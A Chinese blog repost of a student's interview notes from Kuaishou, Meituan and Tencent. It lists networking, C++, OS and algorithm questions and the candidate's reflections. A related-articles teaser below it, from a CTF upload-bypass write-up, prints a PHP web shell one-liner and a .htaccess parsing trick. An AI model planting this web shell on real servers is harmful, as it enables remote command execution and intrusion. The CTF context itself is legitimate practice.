快手客户端一二面+美团前端一面+腾讯企业微信开发客户端一面

快手一面结志

1、自我介绍

2、对称加密非对称加密

3、TCP/UDP

4、在学校有什么课程是强项,说了过去几次面试中面到的C++的语言基础知识

5、问C++、Java中兴趣在哪里

6、问到项目,自己做的还是跟着学校老师做的,同样问到兴趣在哪里

7、LRU Cache,要求限制大小,代码实现;用的一个queue一个vector加sort排序,仿照线程池结构来写的,回去还查了资料,和说的时候一样要求要用到最小堆或者双向链表,不巧都不太熟

8、问到说谈到链表力扣上这一块题目时候看我好像面过很多次,其实也确实蛮多次了

9、问到说怎么让一个没听过SSL的人东SSL,加了TCP三次挥手、四次分手之后总结,总述

10、问到设计模式,写单例模式实现,在写单例构造的时候变量前面忘加了个类名了,自己也感觉好像比平时写的代码要短一些,有点问题,但没看出来

11、问到线程池具体实现

12、问到进程、线程,我脱口而出这个太简单了

13、面试结束,终于结束了,真不容易

14、缓了会儿,回寝室加了件衣服,HR打电话说通过了,约了二面时间,第二天晚上

15、回图书馆继续补自己不会的点包括LRU实现和SSL/TSL等等

美团一面结志

1、面试官很像驾校里面遇见的一些人

2、开始问问题,按照简历上写的来问的

3、险些问到套接字,我快看套接字看吐了

4、VPN正向代理、反向代理

5、如何确保不会丢失

6、用位运算实现加法(其中有个移位操作放到循环后面导致成了6没过)

7、字符串比较的题目,由于1.0.1这种情况未考虑到导致无法普遍性适用,现在其实就算想到了我也不知道该怎么去改,当时想着递归

8、0.1+0.2为什么不等于0.3

9、三次握手

10、问了多态实现,这个问题和我自己答的内容感觉有点太多,被问到的时候有点像想吐了其实,怪我没继续更新这一块的知识吧

11、面试官中途后面有人,换了个地方,自己这边也有人敲实验室门,半斤八两了属于是

12、内存泄露排查,自己说查的资料,他纠正说不是那个查是排查,还笑了,看来我真是理解得不够透彻呀

13、线程池如何实现的

14、socket编程,差点被问到,有人来敲门面试官换了个题目了

15、

腾讯企业微信开发客户端中心一面

1、lamda表达式

2、尽可能多的排序算法,问了快排是怎么实现的,为了安慰我问了个冒泡排序,真谢谢面试官

3、哈夫曼编码树

4、多叉树转化为二叉树

5、shared_ptr和weak_ptr指针

6、TCP/UDP

7、HTTP报文格式

8、TCP拥塞控制和流量控制

9、前序、中序、后序、层序遍历方法,加上递归递推的方法

10、进程间通信的几种方式

11、父类一个指针指向子类对象,这时候要分子类重写的是普通函数还是虚函数

12、KMP算法

13、用过哪些STL容器,说了vector、map、set等等,后面还问到别的

14、看过哪些技术书籍,最近在看的

15、在校期间最记忆尤新的闪光点是什么,说了verliog实现的CPU让我理解了CPU运行的机制

16、反问,以及道歉时间没安排好导致大脑有点懵,被安慰说才大三,准备好了就都不怕了嘛

17、和面试官说谢谢以及拜拜

快手二面结志

1、链表反转问题,算法思想不过关,问有几种方法,没答出来

2、套接字编程中实现的为什么是TCP而不是UDP

3、递归锁死锁解决方法,之前说了下线程池,面试官问到,就又扩展到这里了

4、死锁解决方法

5、进程、线程

6、内核态、用户态之间切换过程

7、线程内存存储在哪里

8、虚函数为什么具有一些继承方面的特性(之前腾讯面的时候被问到父类指针指向子类后调用该指针的一个函数,父类子类都有,会发生什么,应该是如果重写的是普通函数,就指向父类中函数,是虚函数的话就指向子类中函数),问及原因的时候不知道,后来查了下知道是虚函数表

9、合法括号字符串,常规栈问题,自己实现的有点复杂了,面试官后来等了我一会儿(我自己也简化了下自己的思路)后面试官帮忙也注释了下自己的代码,在输入左括号那一块直接输入不需要判定是否为空

10、问到一面时候LRU

11、问到单例模式实现,一面时候问到的,还问了懒汉模式,饿汉模式

12、线程池如何实现的,访问大小限制,说不确定,但是设定和测试的时候设置的值是5000

13、自己做的项目中写的日志的作用,答的是把输出到屏幕上的信息输出到文件中,分多个错误、异常类别进行实现

14、内存池实现和作用,看文档中实现的是生产者消费者模型,可以避免频繁写入到内存中,而能用一个块一下子输入,直到满了之后和另一个块进行切换再写入

15、内存泄露方面有无了解,之前被腾讯面试官说没写delete和其他问题,这次写代码题的时候改过来了

16、堆和栈区别,自己引到的点

17、协程切换,自己主动提的,算是帮自己复习了下

18、进程调度算法,以及优先级修改等方面

19、进程内存中成分,PLT等等链接以及进程内存方面的比较偏的知识了

20、三次握手、四次挥手,在四次挥手的地方弄不清自己说的和三次握手比较像究竟对不对了

21、TCP拥塞控制和流程控制,在滑动窗口,选择重传和Go-back-N这块深入问了下

22、具体如何防止丢包,出现丢包会怎样

23、如何检测到丢包,以及窗口内数据长时间没被接收到会怎样(超时时间)

24、定时器实现,链表,有一个输入来了,给它时间加上3 * timeslot,项目源码中看的,时间轮方面一些内容

25、epoll自己提了下但没被问到,运气挺好,下次得去了解了,实际上也看了代码实现了

26、数据库输入过大比如有一万输入访问该怎么办,八股中有看过,没背全,也不太确定问的是不是水平分表、垂直分表

27、SSL安全套接字如何实现,TLS如何实现,对称加密、非对称加密具体如何实现,以及偏重方面代码如何实现,实话回答说没了解过,感觉真对不起面试官,他那么辛苦地在问,我自己却有很多不会的地方

28、HTTP协议是否了解

29、反问以及说了后续继续和HR对接,结束

反思,数据结构和算法是最近面试中出错比较多的地方,计网和操作系统反而比较少了,要好好回头复习或者可以用java语言来帮助巩固数据结构和算法

要继续加油了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/5540.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

模型智能体开发之metagpt-多智能体实践

参考: metagpt环境配置参考模型智能体开发之metagpt-单智能体实践 需求分析 之前有过单智能体的测试case,但是现实生活场景是很复杂的,所以单智能体远远不能满足我们的诉求,所以仍然还需要了解多智能体的实现。通过多个role对动…

02 spring-boot+mybatis+elementui 的登录,文件上传,增删改查的入门级项目

前言 主要是来自于 朋友的需求 项目概况 就是一个 学生信息的增删改查 然后 具体到业务这边 使用 mybatis xml 来配置的增删改查 后端这边 springboot mybatis mysql fastjson hutool 的一个基础的增删改查的学习项目, 简单容易上手 前端这边 node14 vue element…

贪吃蛇小游戏(c语言)

1.效果展示 屏幕录制 2024-04-28 205129 2.基本功能 • 贪吃蛇地图绘制 • 蛇吃食物的功能 (上、下、左、右方键控制蛇的动作) • 蛇撞墙死亡 • 蛇撞自身死亡 • 计算得分 • 蛇身加速、减速 • 暂停游戏 3.技术要点 C语言函数、枚举、结构…

如何更好的使用cpm

nvidia发布了RAFT库,支持向量数据库的底层计算优化,RAFT 也使用CMake Package Manager( CPM )和rapids-cmake管理项目,可以方便快捷的下载到需要的对应版本的thirdparty的依赖库,但是,一般情况下,项目是直接…

C++多态(全)

多态 概念 调用函数的多种形态, 多态构成条件 1)父子类完成虚函数的重写(三同:函数名,参数,返回值相同) 2)父类的指针或者引用调用虚函数 虚函数 被virtual修饰的类成员函数 …

DSP开发实战教程-国产DSP替代进口TI DSP的使用技巧

1.替换CCS安装路径下的Flash.out文件 找到各自CCS的安装路径: D:\ti\ccs1230\ccs\ccs_base\c2000\flashAlgorithms 复制进芯电子国产DSP官网提供的配置文件 下载链接:https://mp.csdn.net/mp_download/manage/download/UpDetailed 2.替换原有文件 3.…

Python 深度学习(一)

原文:zh.annas-archive.org/md5/98cfb0b9095f1cf64732abfaa40d7b3a 译者:飞龙 协议:CC BY-NC-SA 4.0 序言 随着全球对人工智能的兴趣不断增长,深度学习引起了广泛的关注。每天,深度学习算法被广泛应用于不同行业。本书…

[GXYCTF 2019]BabyUpload

过滤 <? 且后缀不能有 php 上传1.jpg文件&#xff0c;内容为&#xff1a; <script languagephp>eval($_POST[cmd]);</script> 但文件后缀为.jpg&#xff0c;蚁剑不能连接。那怎么办呢&#xff1f; .htaccess文件&#xff1a;解析.jpg文件中的php代码 &#xf…

oracle的sqlplus默认会执行的脚本

我原来是知道sqlplus会默认执行$ORACLE_HOME/sqlplus/admin/glogin.sql这个脚本 今天在一个陌生的环境调用sqlplus时总会默认执行两条语句 但是就是找不到被执行的文件在哪里 后来发现是在环境变量 ORACLE_PATH下的login.sql文件 ORACLE_PATH这个环境变量是sqlplus这个工具使用…

【QEMU系统分析之实例篇(七)】

系列文章目录 第七章 QEMU系统仿真的机器创建分析实例 文章目录 系列文章目录第七章 QEMU系统仿真的机器创建分析实例 前言一、QEMU是什么&#xff1f;二、QEMU系统仿真的机器创建分析实例1.系统仿真的命令行参数2.目标机器创建过程3.cpu_exec_init_all()io_mem_init()memory_…

HTML_CSS学习:CSS选择器

一、通配选择器 相关代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>通配选择器</title><style>* {color: #1b8335;font-size: 40px;}/*可以选中所有的HTML元素*/<…

【C语言】——数据在内存中的存储

【C语言】——数据在内存中的存储 一、整数在内存中的存储1.1、整数的存储方式1.2、大小端字节序&#xff08;1&#xff09;大小端字节序的定义&#xff08;2&#xff09;判断大小端 1.3、整型练习 二、浮点数在内存中的存储2.1、引言2.2、浮点数的存储规则2.3、浮点数的存储过…

macbookproM2通过docker安装CDH

背景&#xff1a;项目中用的CDH大数据集群&#xff0c;但是自己的电脑上是MacM芯片的系统&#xff0c;网上在arm架构上搭建CDH集群的资料太少了&#xff0c;所以自己尝试搭建并且梳理一下文档 一、启动docker 我安装的是桌面版的docker 二、搜索CDH的镜像&#xff0c;然后拉…

【八大排序(三)】快速排序

❣博主主页: 33的博客❣ ▶️文章专栏分类:八大排序◀️ &#x1f69a;我的代码仓库: 33的代码仓库&#x1f69a; &#x1faf5;&#x1faf5;&#x1faf5;关注我带你了解更多排序知识 目录 1.前言2.快速排序2.1概念2.2画图理解2.3递归代码实现2.3.1Hoare法2.3.2挖坑法2.3.3前…

【介绍下OneFlow概念清单】

&#x1f308;个人主页: 程序员不想敲代码啊 &#x1f3c6;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f44d;点赞⭐评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共…

智能健康管理系统的一次新体验

智能健康管理系统是一个集成了多方面数据资源&#xff0c;并配合人工智能算法的健康管理系统。该系统的应用涉及多个领域&#xff0c;包括医学、科学、生态和医疗保健等。其服务对象包括健康人群、亚健康人群和疾病人群&#xff0c;旨在通过病因预防、临床前期预防和临床预防三…

Java设计模式 _结构型模式_组合模式

一、组合模式 1、组合模式 组合模式&#xff08;Composite Pattern&#xff09;是这一种结构型设计模式。又叫部分整体模式。组合模式依据树形结构来组合对象&#xff0c;用来表示部分以及整体层次关系。即&#xff1a;创建了一个包含自己对象组的类&#xff0c;该类提供了修改…

代码随想录——双指针与滑动窗口(四)

一.1423. 可获得的最大点数 题目详情 解题思路 这里我们每次只能取最左或最右边的卡牌,第一反应其实是使用双指针&#xff0c;通过局部贪心来解决&#xff0c;但是如果两边相等的话用局部贪心无法来判断到底取哪一边&#xff0c;那我们不妨换一个思路&#xff1a; 我们首先任…

AI项目二十一:视频动态手势识别

若该文为原创文章&#xff0c;转载请注明原文出处。 一、简介 人工智能的发展日新月异&#xff0c;也深刻的影响到人机交互领域的发展。手势动作作为一种自然、快捷的交互方式&#xff0c;在智能驾驶、虚拟现实等领域有着广泛的应用。手势识别的任务是&#xff0c;当操作者做出…

【QT教程】QT6图形渲染与OpenGL编程

QT6图形渲染与OpenGL编程 使用AI技术辅助生成 QT界面美化视频课程 QT性能优化视频课程 QT原理与源码分析视频课程 QT QML C扩展开发视频课程 免费QT视频课程 您可以看免费1000个QT技术视频 免费QT视频课程 QT统计图和QT数据可视化视频免费看 免费QT视频课程 QT性能优化视频免…